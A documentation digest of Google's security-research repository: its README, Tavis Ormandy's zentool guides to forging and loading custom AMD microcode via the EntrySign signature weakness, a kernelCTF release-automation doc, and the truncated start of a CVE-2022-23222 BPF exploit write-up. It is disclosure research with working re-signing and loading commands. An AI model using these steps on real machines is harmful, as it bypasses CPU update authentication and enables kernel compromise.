security-research Documentation

Technical Documentation: google/security-research

ℹ️ Provenance: Multi-Tier Ingestion · CodeWiki Reference

Overview (README.md) Copy Section

Security Research

This project hosts security advisories and their accompanying
proof-of-concepts related to research conducted at Google which impact
non-Google owned code.

We believe that vulnerability disclosure is a two-way street. Vendors,
as well as researchers, must act responsibly. This is why Google adheres
to a 90-day disclosure deadline. We notify vendors of vulnerabilities
immediately, with details shared in public with the defensive community
after 90 days, or sooner if the vendor releases a fix.

You can read up on our full policy at:
https://www.google.com/about/appsecurity/.

Advisories Copy Chapter

The disclosure of vulnerabilities are all in the form of security
advisories, which can be browsed in the Security
Advisories
page.

License & Patents

The advisories and patches posted here are free and open source.

See LICENSE for
further details.

Contributing

The easiest way to contribute to our security research projects is to
correct the patches when you see mistakes.

Please read up our
Contribution
policy.

Pocs Cpus Entrysign Zentool Docs Intro (`pocs/cpus/entrysign/zentool/docs/intro.md`) Copy Section

Microcoding Quickstart

<sup>Tavis Ormandy taviso@</sup>

This is a quick overview of microcode patches for people already familiar with
x64 assembly. If you read this, you should be able to start experimenting with
your own CPU!

This is a tough topic to write about without getting nitpicked to death, so
be aware that it is not intended to be comprehensive, or precise! It is
intended to get you started so you can explore on your own.

Introduction Copy Chapter

You probably already have a rough idea of what microcode is. You might have heard
that an x86 CPU appears to be CISC, but internally has a RISC-like
architecture. Well, that's true!

The simplest instructions (add, sub, mov, etc) are all implemented in
hardware. The more complicated instructions like rdrand, fpatan and
cmpxchg are microcoded. You can think of them as a bit like calling into a
library of functions written in that RISC-like code.

The "library" is stored in ROM on the CPU. Like all libraries, sometimes
there are bugs that need to be fixed, and that's where microcode updates
come in.

You might have guessed a microcode update is a bit like flashing new firmware
onto your CPU, but nope! This mask
ROM literally
cannot be changed -- it's physically etched into silicon, so you're stuck with it.

You might have heard about people reverse engineering integrated circuits by
decapping them with lasers and
acid to dissolve substrate. They're literally reading the bits etched onto
the silicon with a microscope!

We still need a solution though, so there are two components we need to
discuss, Match Registers and Patch RAM.

Match Registers Copy Section

Put simply, if you put a ROM address into a match register, whenever microcode
is loaded from that address it will be redirected to patch RAM instead. If
you're a software person like me, you might think of this as more like
"hooking" than "patching".

These hooks can't be placed freely in patch RAM though -- they are arranged in
fixed slots (called quads), and match register N will always redirect
to quad 2N. The slots in between can still be used, but only by continuing into
them from adjacent code.

There's a big catch, these resources are super limited! Like, really really
limited. There are maybe 20 match registers, and perhaps a kilobyte of patch
RAM, so you're probably not going to be porting DOOM to microcode, sorry!

You might have heard vendors talking about "running out of patch ram" on some
CPUs. This is what they mean, they have more bugs than available space to
load patches! It's sort of a fun engineering puzzle, they have to get
creative or play code golf to get
a new patch shipped.

One more thing -- as the name suggests, patch RAM is volatile, meaning when
you turn off the CPU the contents dissapears. When you first turn on your
computer, your CPU just has the original ROM -- your BIOS and/or operating
system will apply updates on every single boot.

Applications Copy Section

The first question everyone has about microcode updates is something like
"So can I execute ARM64 code natively on my Athlon?" 😆 It's a fun idea, but
now we know that a microcode patch doesn't work like that -- so the answer is
no, sorry!

Okay, but what can you do? That's a huge topic, but we're going to talk about
the most interesting application, replacing microcoded instructions with
our own custom code!

Warning Copy Chapter

Here is a good point to put the warning that you're probably going to void your
warranty, lose your data and brick your hardware if you play with microcode.

Architecture

There's so much to write about here, but I'm going to keep it brief - the
absolute minimum you need to know to get started.

Here's the thing - the big vendors encrypt and sign their updates so that
you cannot run your own microcode. A big discovery recently means that the
authentication scheme is a lot weaker than intended, and you can now
effectively "jailbreak" your CPU!

If that sounds like fun to you, and you're not scared of voiding your warranty
or losing data - then read on!

Background Copy Chapter

There are two concepts I need to explain before we get started, OpQuads and
Sequence Words.

OpQuads Copy Section

An OpQuad (or just quad) is simply a group of four microcode instructions.
There is no way to execute less than four instructions, if you only want three,
then you need to pad it with nops.

There are a bunch of complicated restrictions on where certain operations can
occur within a quad -- I'll cover some of those later. The important thing
to know for now is that there is no smaller unit of execution than a quad.

Interested in learning more? The most important reference on the topic of
microcode is the book "Anatomy of a High Performance Microprocessor" (ISBN
0818684003). The details are outdated, but the concepts are still relevant.

Sequence Words Copy Section

In x64, execution simply flows from one instruction to the next unless you
branch. If we had some code like this, you just read instructions one after
the other, easy!

mov     rax, rbx
    add     rax, 32
    push    rcx
    mov     rcx, [rel foo]
    sub     rcx, rax
    mov     [rel foo], rcx
    pop     rcx
    ret

Unfortunately, it doesn't work like that in microcode! We already know you
can't execute less than a quad, but execution does not flow from one quad to
the next -- each quad has an associated Sequence Word.

A sequence word tells the CPU where the next quad to execute is located. Every
quad needs a sequence word - even if you just want to execute the next quad.
The simplest sequence word would just be forward relative one, but it can
redirect execution anywhere, and there are flags to specify things like
returning from emulation.

Emulation in this context means executing micro instructions to simulate a
macro operation. You might see terms like ECF for Emulated Carry Flag, this
is to disambiguate it from the x64 macro Carry Flag.

Basics Copy Chapter

Okay, so now we know how execution flows in microcode, and how instructions are
arranged into quads... so what do instructions look like?

This isn't like x86, every single instruction is 64bits, no exceptions! 😆

They're usually optional, but most instructions have a 3-operand form, like this:

add     rax, rbx, rcx

This means, add rbx and rcx and store the result into rax.

All registers can be addressed as qwords, dwords, words and bytes. I write them
like this if you want to override the default size to use dwords rather than
qwords:

sub.d   rax, rbx, 0x123

There are 32 internal registers, some map to the macro registers or have special
purposes, but others are regular registers only accessible to microcode.

You can also load and store from memory, of course:

st.q    rax, ls:[rbx]

This means read a qword from the address in rbx onto rax from segment ls.

Segments Copy Section

Yep, we gotta talk about segments.

All addresses are encoded with a segment, they can be virtual addresses,
physical addresses, microcode RAM, architectural-segment relative, etc.

The important ones to know are ls, the linear segment, which is basically
physical memory and os, which is virtual memory.

Hello, μWorld!

Okay, we have enough background, let's execute some microcode!

Toolchain Copy Chapter

The first step is to get your toolchain working, so lets find a template
microcode update for us to embed our code into.

We need an original microcode update because only vendor approved microcode
updates are permitted by default. We hollow-out a valid approved file and put
our own code inside it.

Finding an update Copy Section

First, find out which microcode revision your CPU is currently using:

$ grep -m1 '^microcode' /proc/cpuinfo
microcode	: 0x830107c

There is a convenient collection of update files available
here, so simply
find a matching update for your CPU.

Note: If the exact revision you're using is not present, just download the
closest matching version.

I can see my update will be cpu00830F10_ver0830107C_2023-12-18_6CEA85AD.bin,
so lets download that file.

Create a template Copy Section

Let's take a look inside the file we got.

$ zentool print cpu00830F10_ver0830107C_2023-12-18_6CEA85AD.bin
Date:       12182023 (Mon Dec 18 2023)
Revision:   0830107c
Format:     8004
Patchlen:   00
Init:       00
Checksum:   00000000
Nbvid:      0000
Nbdid:      0000
Sbvid:      0000
Sbdid:      0000
Cpuid:      00008310 Rome, Castle Peak
  Stepping  0
  Model:    1
  Extmodel: 3
  Extfam:   8
Biosrev:    08
Flags:      00
Reserved:   0000
Signature:  7a... (use global --verbose to see)
Modulus:    c7... (use global --verbose to see)
Hash:       5a... (use global --verbose to see)
Autorun:    01
Encrypted:  00
Revision:   0830107c (Signed)

Note: Do you see the encrypted flag set? Don't worry, just use zentool decrypt to replace it with a plaintext version.

Here we can see the header data, we can even take a look at the Match Registers:

$ zentool print --match-regs cpu00830F10_ver0830107C_2023-12-18_6CEA85AD.bin
Match Registers
	[0 ] 10E7
	[1 ] 092E
	[2 ] 12FD
	[3 ] 12FF
	[4 ] 12F8
	[5 ] 06A9
...

Note: Your match registers may be different -- that's okay! Remember these
are effectively ROM addresses, so they will be different for each base ROM.

These are the ROM addresses the vendor wants to hook! We don't need these just
for our experiment though, so let's remove everything and start with a blank
file.

$ zentool --output template.bin edit --hdr-autorun false --nop all --match all=0 cpu00830F10_ver0830107C_2023-12-18_6CEA85AD.bin

This will create an empty file template.bin for your CPU, ready for us to modify.

Adding Code

The first program we're going to execute will just replace a donor instruction
to put a constant into rax. Let's pick a rarely used instruction for now that
probably won't break anything, like
f2xm1 or
fpatan.

Note: You can try other instructions if you like!

First, we need to set a match register, so set match register zero to @fpatan.
The @ symbol simply indicates you want to use a symbolic instruction name rather
than a number. Recall that match register N redirects to quad 2N, so match
register 0 redirects to quad 0, match register 1 to quad 2, and so on.

$ zentool edit --match 0=@fpatan template.bin

Note: This only works if the correct match register for this CPU is known,
not all instructions are known for every CPU yet! If you want to help add
support for a new CPU, see here.

Now we can choose what we want to happen instead of the default action. Let's
set the first instruction to put a constant into rax.

We can do that using --insn and setting q0i0, this simply means Quad
zero, Instruction zero, so the first instruction of the first quad.

$ zentool edit --insn q1i0="add rax, rax, 0x1337" template.bin

Now we need to set the Sequence Word, we can set it to the magic value 7,
which means return from emulation, i.e. continue to the next macro instruction.

$ zentool edit --seq 0,1=7 template.bin

The final step is to choose a revision number. There are some restrictions
here, the first 3 bytes of a revision must match your CPU family, and the final
byte must be greather than or equal to your current revision.

Let's just set it to 0xff, that should be good enough for every system:

$ zentool edit --hdr-revlow 0xff template.bin

For clarity I showed each step individually, but you can combine all of
these steps into one:

zentool edit --nop all --match all=0 --hdr-revlow 0xff --match 0=@fpatan --seq 0=7 --insn q0i0="add rax, rax, 0x1337" input.bin

Loading updates

Now we're ready to load our microcode patch. We made lots of changes to the
file, so the signature will no longer be correct:

$ zentool verify template.bin
template.bin: BAD

Let's use the resign command to compensate for the changes:

$ zentool resign template.bin
$ zentool verify template.bin
template.bin: GOOD

Now the CPU should accept it, so we just need to load it. You can use whatever
system your operating system provides, but zentool has a simple built-in
loader for testing.

Note: This could cause your system to crash or behave in unexpected ways!

# zentool load --cpu=2 template.bin

If that worked, the revision number should be incremented on one of your cores.
We can check with msr-tools, which provides some commands for reading Model
Specific Registers. Let's ask each core to report MSR_PATCH_LEVEL, which is
register 0x8B:

# rdmsr -a 0x8b
830107c
830107c
83010ff   <----
830107c
830107c
830107c
830107c
830107c
...

This looks good -- one core has different microcode loaded!

Note: If you see two cores with different revisions, that's normal, they're
probably SMT siblings.

Testing

Here is some code to invoke any instuction we want:

#include <stdint.h>
#include <stdio.h>

static inline uint64_t invoke_microcode_callback(uint64_t arg1)
{
    uint64_t result = 0;

    asm volatile ("fpatan" : "=a"(result) : "a"(arg1));

    return result;
}


int main(int argc, char **argv)
{
    printf("%#x\n", invoke_microcode_callback(0));
}

Let's compile it and see if it works.

$ gcc -o test test.c
$ taskset -c 0 ./test
0
$ taskset -c 2 ./test
0x1337

That worked, we changed the definition of fpatan on the core with the new microcode!

Step 2

• Reading memory
• Writing memory
• Producing output (VGA?)

Kernelctf Server Docs Auto Release (`kernelctf/server/docs/auto_release.md`) Copy Section

kernelCTF Auto-Release Automation (`tools/auto_release.py`)

Overview Copy Chapter

The tools/auto_release.py script automates the end-to-end lifecycle of discovering, staging, testing, activating, and announcing new Linux kernel releases for the kernelCTF service.

It runs on a 14-day (bi-weekly) recurring cycle via a daily cron job scheduled at 12:00 UTC.

The Release Timeline & Lifecycle Copy Chapter

Week 1 (Preparation & Announcement):
┌──────────────────────────────────────┐       ┌──────────────────────────────────────┐
│           Monday 12:00 UTC           │       │          Wednesday 12:00 UTC         │
│  - Query GCS for new LTS builds      │  ──>  │  - Promote staging -> releases/      │
│  - Download to data/staging/         │       │  - Post Discord announcement with:   │
│  - Update config/releases.yaml       │       │    • Target names                    │
│  - Run dry-run activation check      │       │    • Slot opening (Next Mon 12:00)   │
│  - Send Google Chat maintainer alert │       │    • Slot closing (Next Fri 12:00)   │
└──────────────────────────────────────┘       └──────────────────────────────────────┘
                                                                  │
Week 2 (Evaluation Submission Window):                            ▼
┌──────────────────────────────────────┐       ┌──────────────────────────────────────┐
│           Monday 12:00 UTC           │       │           Friday 12:00 UTC           │
│  - Evaluation window OPENS           │  ──>  │  - Evaluation window CLOSES          │
│  - server.py accepts exploits and    │       │  - Unflagged evaluations or testing  │
│    generates signed HMAC flags       │       │    only after this point             │
└──────────────────────────────────────┘       └──────────────────────────────────────┘

Detailed Step-by-Step Flow Copy Chapter

1. Week 1: Monday 12:00 UTC — Discovery & Preparation Copy Section

• Cron Invocation: Triggered by infra/cron/auto_release.cron at 12:00 UTC.
• GCS Discovery: Authenticates using secrets/kernelctf-vm-reader-sa-key.json and lists gs://kernelctf-build/releases/ to find builds matching active targets (TARGETS = ["lts-6.12"]).
• Filter Unreleased: Compares discovered builds against config/releases.yaml to identify new releases.
• Staging Download: Downloads target artifacts (bzImage, .config, lakitu_defconfig, COMMIT_INFO, vmlinux.gz) for both the standard and KASAN builds into data/staging/<release_id>/.
• Schedule Update: Appends new target configurations to config/releases.yaml with release-date set to Wednesday 12:00 UTC.
• Dry-Run Validation: Executes tools/activate_releases.py in dry-run mode to verify:
  • Required kernel configuration options match specification (tools/kernel_configs/lts-6.12-v2.config or tools/kernel_configs/hardened-v1.config).
  • Remote HTTP HEAD checks for all artifacts succeed.
• Maintainer Alert: Sends an internal notification via Google Chat containing the prepared Discord announcement.
• State Recorded: Updates config/auto_release.yaml with downloaded: true.

2. Week 1: Wednesday 12:00 UTC — Promotion & Public Announcement Copy Section

• Activation: Invokes tools/activate_releases.py to copy verified releases from data/staging/<release_id>/ to production data/releases/<release_id>/.
• Discord Announcement: Posts to the public Discord webhook:

  "Hey! We are releasing target(s): lts-6.12.X. The evaluation slot opens next Monday (YYYY-MM-DDT12:00:00Z) and closes on Friday (YYYY-MM-DDT12:00:00Z)."

• Advance Notice: Gives researchers and participants 5 days advance notice before the evaluation slot opens.
• State Recorded: Updates config/auto_release.yaml with activated: true.

3. Week 2: Monday 12:00 UTC to Friday 12:00 UTC — Evaluation Window Copy Section

• Slot Opening: On Monday at 12:00 UTC, the submission window opens automatically based on server.py's get_submission_window(release_date).
• Exploit Evaluation: Participants evaluate privilege escalation exploits through client/cli.py exploit_binary --action evaluate.
• Flag Signing: Successful evaluations during this window receive cryptographically signed HMAC-SHA1 verification flags.
• Slot Closing: On Friday at 12:00 UTC, the evaluation window closes.

State & Directory Structure Copy Chapter

Configuration & Credentials Copy Chapter

The automation requires the following credentials in secrets/:

• secrets/kernelctf-vm-reader-sa-key.json: Google Cloud service account key with GCS read access.
• secrets/server_secrets.py:
  • webhook_url: Google Chat incoming webhook URL for maintainer alerts.
  • discord_webhook_url: Discord incoming webhook URL for public announcements.

Manual Execution & Testing Copy Chapter

# Run auto_release in development mode (skips webhook dispatch)
python3 tools/auto_release.py --devel

# Manually test release activation dry-run for a specific release
python3 tools/activate_releases.py --releases lts-6.12.104

# Validate kernel config against requirements
python3 tools/check_required_config.py data/staging/lts-6.12.104/.config tools/kernel_configs/lts-6.12-v2.config

# Run auto-release unit test suite
python3 -m unittest tests/test_auto_release.py

Pocs Cpus Entrysign Zentool Docs Matchreg (`pocs/cpus/entrysign/zentool/docs/matchreg.md`) Copy Section

Discovering Match Registers

There is no known way to figure out the match registers, you just have to try
them and see what changes.

There is a script called matchscan.sh that will try every possible register
value, and then test if a change can be detected.

Machine Preparation

Brute forcing microcode parameters will inevitably require hundreds or
thousands of reboots. The trick to completing this in a reasonable time is
rapid fault detection and fast, reliable unattended reboots.

Software fault detection helps, but sometimes your CPU is just unable to
continue. In those cases, you need a hardware watchdog. Check in your BIOS to
see if there is one you can enable -- many machines do.

If you don't have one, buy one of
these. Don't pay more
than a few dollars - it is just a relay and a microcontroller.

There is a script in the tools directory to use the one I have (it has USB ID
1a86:7523 if you want the same model I have).

BIOS Settings Copy Chapter

We want to optimize for fast boot, so disable as many onboard devices as
possible.

Look for Fast Boot options, make sure slow Featues like Option ROMs, PxE,
memory testing and so on are all disabled if possible.

If you have a hardware watchdog card, remember to enable it.

Kernel Settings Copy Chapter

Add at least the following parameters to /etc/default/grub.

• This selects core 2 as your test core, and keeps as many tasks away from it as possible.
  • You shouldn't use core 0 for testing, some people report core 1 is also
    a bad idea.
• Prevent any automatic microcode upadting.
• Disable SMT to prevent surprises with tasks being scheduled on sibling cores.
• Reboot quickly on any detected errors or hangs.
• Disables some slow features unnescessary for testing.
• Disable kaslr to make userspace microcode loading simpler.

dis_ucode_ldr nokaslr isolcpus=domain,managed_irq,2 irqaffinity=0-1,3-N nohz_full=2 rcu_nocbs=2 nosmt panic=1 nmi_watchdog=panic,1 vga=normal nofb nomodeset selinux=0 oops=panic mce=0 mitigations=off rd.luks=0 rd.lvm=0 rd.md=0 rd.dm=0 systemd.zram=0 pci=noaer hung_task_panic=1  panic_on_warn=1 softlockup_panic=1 unknown_nmi_panic audit=0

If you have rhgb you should remove it, I also like to remove quiet, but that's optional.

I also used these on the beelinks, otherwise if some power event causes
systemd to start stopping daemons it might terminate watchdogd, which stops the countdown by default.

sp5100_tco.nowayout=1

GRUB Settings Copy Section

Set GRUB_TIMEOUT=0, and GRUB_TIMEOUT_STYLE=countdown. This starts the boot process as quickly as possible.

Don't set the timeout style to menu (the default), because that is not
interruptible with a 0 timeout. If you really want the menu, set the timeout to
at least 1.

Note: If there is no GRUB_TIMEOUT_STYLE, then you are using menu.

Then grub2-mkconfig -o /boot/grub2/grub.cfg.

Grub Menu Copy Section

In an emergency, if you need the GRUB menu but set GRUB_TIMEOUT=0, spam Shift during POST.

Note: When I say spam, I mean rapidly press and release continuously.

If that doesn't work due to UEFI quirks on your system, try these:

- Holding `Shift` instead of spamming it
- Spamming or holding `Shift+F1` (or any non-ascii key)

Verifying `isolcpus` is working Copy Section

First, check here:

$ cat /sys/devices/system/cpu/isolated
2

Now you can run top, type f, then add P by pressing Space.

generate some load and make sure no non-kernel tasks are on 2, maybe try stress-ng.

Boot Services Copy Chapter

You don't need graphics, so the first step is:

systemctl set-default multi-user.target

Dracut does a lot of slow things, you can trim down the slower modules by
omiting them. Create the file /etc/dracut.conf.d/blacklist.conf, and disable
boot animations and early networking:

omit_dracutmodules+=" network plymouth ifcfg "

Then you need to regenerate everything, if you specify --hostonly, items not
needed on this host are excluded:

$ sudo dracut --hostonly --regenerate-all --force

Systemd Copy Section

Find any slow services you can disable using systemd-analyze:

systemd-analyze blame

Here are some good ones you probably dont need:

sudo systemctl disable lvm2-monitor
sudo systemctl disable NetworkManager-wait-online.service
sudo systemctl disable cups.path
sudo systemctl disable cups.socket
sudo systemctl disable cups.service
sudo systemctl disable gssproxy.service
sudo systemctl disable thermald.service
sudo systemctl disable bluetooth.service
sudo systemctl disable virtqemud.socket
sudo systemctl disable virtqemud-admin.socket
sudo systemctl disable virtqemud-ro.socket
sudo systemctl disable virtqemud.service
sudo systemctl disable avahi-daemon.socket
sudo systemctl disable avahi-daemon.service
sudo systemctl disable ModemManager.service
sudo systemctl disable nfs-client.target
sudo systemctl disable remote-fs.target
sudo systemctl disable abrtd.service
sudo systemctl disable bluetooth.target
sudo systemctl disable tuned.service
sudo systemctl disable smartd.service
sudo systemctl disable firewalld.service
sudo systemctl mask sys-module-fuse.device

Disable any modules with slow initialization by creating the file /etc/modprobe.d/blacklist.conf

Here is a sample:

blacklist bluetooth
blacklist btbcm
blacklist btintel
blacklist btmtk
blacklist btrtl
blacklist btusb
blacklist cec
blacklist drm_buddy
blacklist drm_display_helper
blacklist drm_exec
blacklist drm_suballoc_helper
blacklist drm_ttm_helper
blacklist fuse
blacklist joydev
blacklist rfkill
blacklist snd
blacklist snd
blacklist snd_acp_config
blacklist snd_acp_pci
blacklist snd_ctl_led
blacklist snd_hda_codec
blacklist snd_hda_codec_generic
blacklist snd_hda_codec_realtek
blacklist snd_hda_core
blacklist snd_hda_intel
blacklist snd_hwdep
blacklist snd_pci_acp3x
blacklist snd_pci_acp5x
blacklist snd_pci_acp6x
blacklist snd_pci_ps
blacklist snd_pcm
blacklist snd_pcm_dmaengine
blacklist snd_rn_pci_acp3x
blacklist snd_rpl_pci_acp6x
blacklist snd_seq
blacklist snd_seq_device
blacklist snd_sof
blacklist snd_sof_amd_acp63
blacklist snd_sof_amd_rembrandt
blacklist snd_sof_amd_rembrandt
blacklist snd_sof_amd_renoir
blacklist snd_sof_amd_renoir
blacklist snd_sof_amd_vangogh
blacklist snd_sof_xtensa_dsp
blacklist snd_timer
blacklist snd_ump
blacklist snd_usb_audio
blacklist snd_usbmidi_lib
blacklist soundcore
blacklist soundwire_amd
blacklist ttm
blacklist video
blacklist wmi
blacklist wmi_bmof

If something sneaks past this, use modprobe.blacklist=fuse. If something is compiled in, use initcall_blacklist.

You can reasonably expect systemd-analyze blame to report a boot in ~2 seconds, if it doesn't, remove more stuff.

Autostart Copy Chapter

sudo systemctl edit getty@tty1

Add these lines:

[Service]
ExecStart=
ExecStart=-/sbin/agetty --autologin fuzztesting --noclear %I $TERM
TTYReset=no

Install this utility to query shift state on the console:

# gcc -o /usr/bin/shift tools/shift.c

Now you can something like this to .bashrc:

if test "$(tty)" == "/dev/tty1"; then
    echo "Hold shift on boot to skip fuzzing..."
    cd zentool
    if test -e autoexec.sh; then
        if ! /usr/bin/shift; then
            bash autoexec.sh
        fi
    fi
fi

If you want to start fuzzing, just do ln -s scripts/fuzzer.sh autoexec.sh.

Note: You may need to experiment with when to start holding shift during boot.

Watchdogs Copy Chapter

You will certainly break your CPU, so you will need a watchdog to reset it.

You can:

# yum install watchdog
# systemctl enable watchdog

Then add:

watchdog-device = /dev/watchdog
watchdog-timeout = 10

Maybe set timeout to 10, or 20 to be safe, I wouldn't go lower.

There is also a simple software watchdog, try this:

# gcc -o /usr/bin/uwatchdog tools/watchdog.c
# yum install cronie
# systemctl enable crond
# echo @reboot /usr/bin/uwatchdog | crontab

Sometimes your CPU will want to enter sleep state, I solve this like this:

$ cat panic.shutdown
#!/bin/sh
if test "${1}" != "poweroff"; then
        echo c > /proc/sysrq-trigger
fi

Just put that script in /usr/lib/systemd/system-shutdown

Useful Settings Copy Chapter

Scanning

• Create a blank microcode update from a template from your system , you might need to decrypt it:

$ ./zentool --output matchscan.bin decrypt data/cpu00A70F41_ver0A704104_2023-07-13_3C8FAC0D.bin
$ ./zentool resign matchscan.bin

• Now make it run on startup:

$ ln -s scripts/matchscan.sh autoexec.sh

• Now start scanning, reboots and crazy errors are normal:

$ bash autoexec.sh

This will take many hours to complete.

Pocs Cpus Entrysign Zentool Docs Reference (`pocs/cpus/entrysign/zentool/docs/reference.md`) Copy Section

RISC86 Programming Reference

<sup>Tavis Ormandy taviso@</sup>

There is no official documentation of RISC86, the microarchitecture used on Zen
processors. However, the book The Anatomy of a High-Performance
Microprocessor: A Systems Perspective (ISBN 0818684003) was written with support
from engineers who designed the system, so serves as the most complete
reference guide we have.

There is also a paper Reverse Engineering x86 Processor Microcode by
researchers at Ruhr-University Bochum who studied some pre-Zen RISC86 systems.

Understanding the current state of RISC86 is an ongoing challenge, but what little
we do know is documented here.

This is mostly discovered experimentally. For example, setting a few bits,
observing the result, and creating hypotheses for what operation could have
caused the observed result.

It is likely there are a lot of errors in this document!

OpQuads

The format of OpQuads does not appear to match the format described in AOHM,
however some fields have simply moved around. The most important one is
probably the Type field, which determines how the other fields are
interpreted.

Op Type Copy Chapter

Table 3.4 from from the Scheduler chapter, reproduced below, does appear
to still be accurate:

This means we can check what bits are in this field, then interpret the other
bits according to their value.

Register Units Copy Chapter

In the table above RUX and RUY are Register Unit X and Register Unit Y.
RUX is the more capable unit, whereas RUY can only handle a subset of the
operations RUX can.

RegOps Copy Chapter

The following opcodes are known

The assembler, mcas, understands most of these forms.

$ ./mcas "xor rbx, rax, rcx"
	; 385A9C1208E00000 0011100001011010100111000001001000001000111000000000000000000000
	; .imm16    :    0                                                 0000000000000000
	; .isig     :    0                                                0
	; .mode3    :    0                                             0
	; .reg0     :    7                                       00111
	; .reg1     :    2                                  00010
	; .reg2     :    4                             00100
	; .rmod     :    1                            1
	; .cc       :    0                        0000
	; .ss       :    0                       0
	; .size     :    3                     11
	; .sizemsb  :    1                    1
	; .pada     :    0                  00
	; .type     :   B5          10110101
	; .ext      :    0      0000
	; .class    :    7   111
	xor     	rbx, rax, rcx

You can see that the known fields are listed, these are described below.

RegOp Fields Copy Chapter

If you want to set these values, you can use mcop:

$ mcop --set reg2=21 385A9C1208E00000
	; 385A9C1A88E00000 0011100001011010100111000001101010001000111000000000000000000000
	; .imm16    :    0                                                 0000000000000000
	; .isig     :    0                                                0
	; .mode3    :    0                                             0
	; .reg0     :    7                                       00111
	; .reg1     :    2                                  00010
	; .reg2     :   15                             10101
	; .rmod     :    1                            1
	; .cc       :    0                        0000
	; .ss       :    0                       0
	; .size     :    3                     11
	; .sizemsb  :    1                    1
	; .pada     :    0                  00
	; .type     :   B5          10110101
	; .ext      :    0      0000
	; .class    :    7   111
	xor     	rbp, rax, rcx

Alternatively, use zentool directly, e.g.:

$ zentool edit --insn-field q1i0.ss=1 microcode.bin

Registers Copy Chapter

The mapping from macro-registers to micro-registers does not appear to match
AOHM, here are some of the known mappings.

typedef enum {
    REG_RAX    = 16,
    REG_RCX    = 17,
    REG_RDX    = 18,
    REG_RBX    = 19,
    REG_RSP    = 20,
    REG_RBP    = 21,
    REG_RSI    = 22,
    REG_RDI    = 23,
    REG_R8     = 24,
    REG_R9     = 25,
    REG_R10    = 26,
    REG_R11    = 27,
    REG_R12    = 28,
    REG_R13    = 29,
    REG_R14    = 30,
    REG_R15    = 31,
} zen_reg_t;

The lower register numbers appear to be reserved for "environment
substitutions" (see AOHM Chapter 2, figure 2.10). That is, they are
automatically populated with instruction parameters by the decoder.

The full details of how the substitution mechanism works is not entirely
understood.

LdStOps

A LdStOp can move to or from memory, but does not necessarily have to. The mcas utility recognizes
a few forms, here are some examples:

$ mcas "ld.q [rax], rax"
	; 284BDC3108009800 0010100001001011110111000011000100001000000000001001100000000000
	; .imm      :    0                                                       0000000000
	; .segment  :    6                                                   0110
	; .unkn1    :    0                                                  0
	; .nop3     :    1                                                 1
	; .unkn2    :    0                                                0
	; .mode     :    0                                              00
	; .wordsz   :    0                                             0
	; .unknf    :    0                                            0
	; .reg0     :    0                                       00000
	; .reg1     :    2                                  00010
	; .reg2     :    2                             00010
	; .rmod     :    1                            1
	; .op3      :    1                           1
	; .unkn6    :    0                       0000
	; .size     :    3                     11
	; .width    :    1                    1
	; .ldst     :    0                   0
	; .unkn3    :   2F             101111
	; .unknx    :    4          100
	; .type     :    0      0000
	; .class    :    5   101
	ld      	[rax], rax

LdStOp Fields Copy Chapter

Segments Copy Chapter

These are the known segment values

There are others that are IDT/GDT relative, or architectural segment relative.

Flags Copy Chapter

The following flags can be appended to mnemonics, e.g. add.qs:

See also, status documentation. The .s flag simply modifies the set status bit.

Examples

These examples are tested and appear to be working.

add.b rax, rax, 0xAA
    add.b rax, rax, rbx
    add.q rax, rax, rbx
    add.qs rax, rbx, 1
    add rax, rax, 0x123
    add.w rax, rax, rbx
    bswap.q rax, rax
    mov rax, rbx
    nadd.b rax, rax, 0xAA
    nadd rax, rax, rbx
    nadd rax, rbx, rax
    nsub rax, rax, rbx
    nsub rax, rbx, rax
    or rax, rax, 0x42
    popcnt.q rax, rbx
    popcnt rax, rax
    popcnt.w rax, rax
    rol rax, rax, 4
    rol rax, rax, 8
    ror rax, rax, 1
    ror rax, rax, 4
    ror rax, rax, 8
    ror.s rax, rax, 1
    shl rax, rax, rbx
    ld.d rax, ls:[rax]
    ld.d rax, ms:[rbx+0x62]
    ld.pd [rax], rbx
    ld.p ms:[rax], rbx
    ld.pq ls:[rbp+8], rax
    ld.pq [rax], rbx
    ld.p [rax], rbx
    ld.q rax, ls:[rax]
    ld.q rax, ls:[rbp+8]
    ld.q rax, ms:[rax]
    ld rax, 5:[rax+rbx]
    sub rax, rax, 42
    sub rax, rax, rbx
    sub.sq rax, rax, 1
    xor.q rax, rax, rbx
    xor rax, rax, rax
    xor rax, rax, rbx

Model Specific Registers

You can modify MSRs from within microcode using stores to ms.

It's not currently obvious what the relationship is between MSR number and
equivalent address, but they can be discovered experimentally easily.

For example, MSR_AMD64_PATCH_LEVEL appears to be stored at address
ms:0x262.

Interestingly, the wrmsr instruction will not usually permit modifications to
this MSR, but microcode can do so like this:

mov rax, rax, 0x262
    mov rbx, rbx, 0x41
    ld.p ms:[rax], rbx

Notes

• It seems possible that the modern RISC86 implementation of some microcoded
  instructions shares some distant ancestry with the NexGen Nx586 Hypercode
  implementation (see
  fpatan,
  for example). It is certainly no longer written in x86, but could plausibly
  be a reimplementation of the same logic after the acquisition by
  AMD?

Pocs Cpus Entrysign Zentool Docs Status (`pocs/cpus/entrysign/zentool/docs/status.md`) Copy Section

Condition Codes

The .ss bit in a RegOp is Set Status, and causes flags to be set based on
the result of a micro-op. These flags can either be the normal RFLAGS flags
visible to macro instructions, or emulated flags. These are sometimes written
like ECF for emulated carry flag instead of CF, for the RFLAGS carry
flag.

Experimental Results

.ss = 1
.cc = 0b1000 seems to set CF

Pocs Linux Kernelctf CVE 2022 23222 Cos Docs Exploit (`pocs/linux/kernelctf/CVE-2022-23222_cos/docs/exploit.md`) Copy Section

Overview Copy Chapter

There are many types of BPF programs and only some of them are available to unprivileged users.

For this exploit we will use socket filter programs, but we will run them using the BPF_PROG_TEST_RUN command instead of attaching to a socket.
This gives us the ability to provide in/out context and pass the data to/from the program easily.

At the beginning we create two ringbuf maps.

The exploit itself consists of 4 BPF programs.

All except the last one (which executes our ROP chain) call the ringbuf_reserve() and ringbuf_discard() BPF functions - all ringbuf_reserve() calls must be followed by ringbuf_discard() or ringbuf_commit(), otherwise the verifier will complain about unreleased resources.

Stage 1 - corrupting struct bpf_ringbuf Copy Chapter

struct bpf_ringbuf looks like this:

struct bpf_ringbuf {
        wait_queue_head_t          waitq;                /*     0  0x18 */
        struct irq_work            work;                 /*  0x18  0x18 */
        u64                        mask;                 /*  0x30   0x8 */
        struct page * *            pages;                /*  0x38   0x8 */
        int                        nr_pages;             /*  0x40   0x4 */

        spinlock_t                 spinlock __attribute__((__aligned__(64))); /*  0x80   0x4 */

        long unsigned int          consumer_pos __attribute__((__aligned__(4096))); /* 0x1000   0x8 */
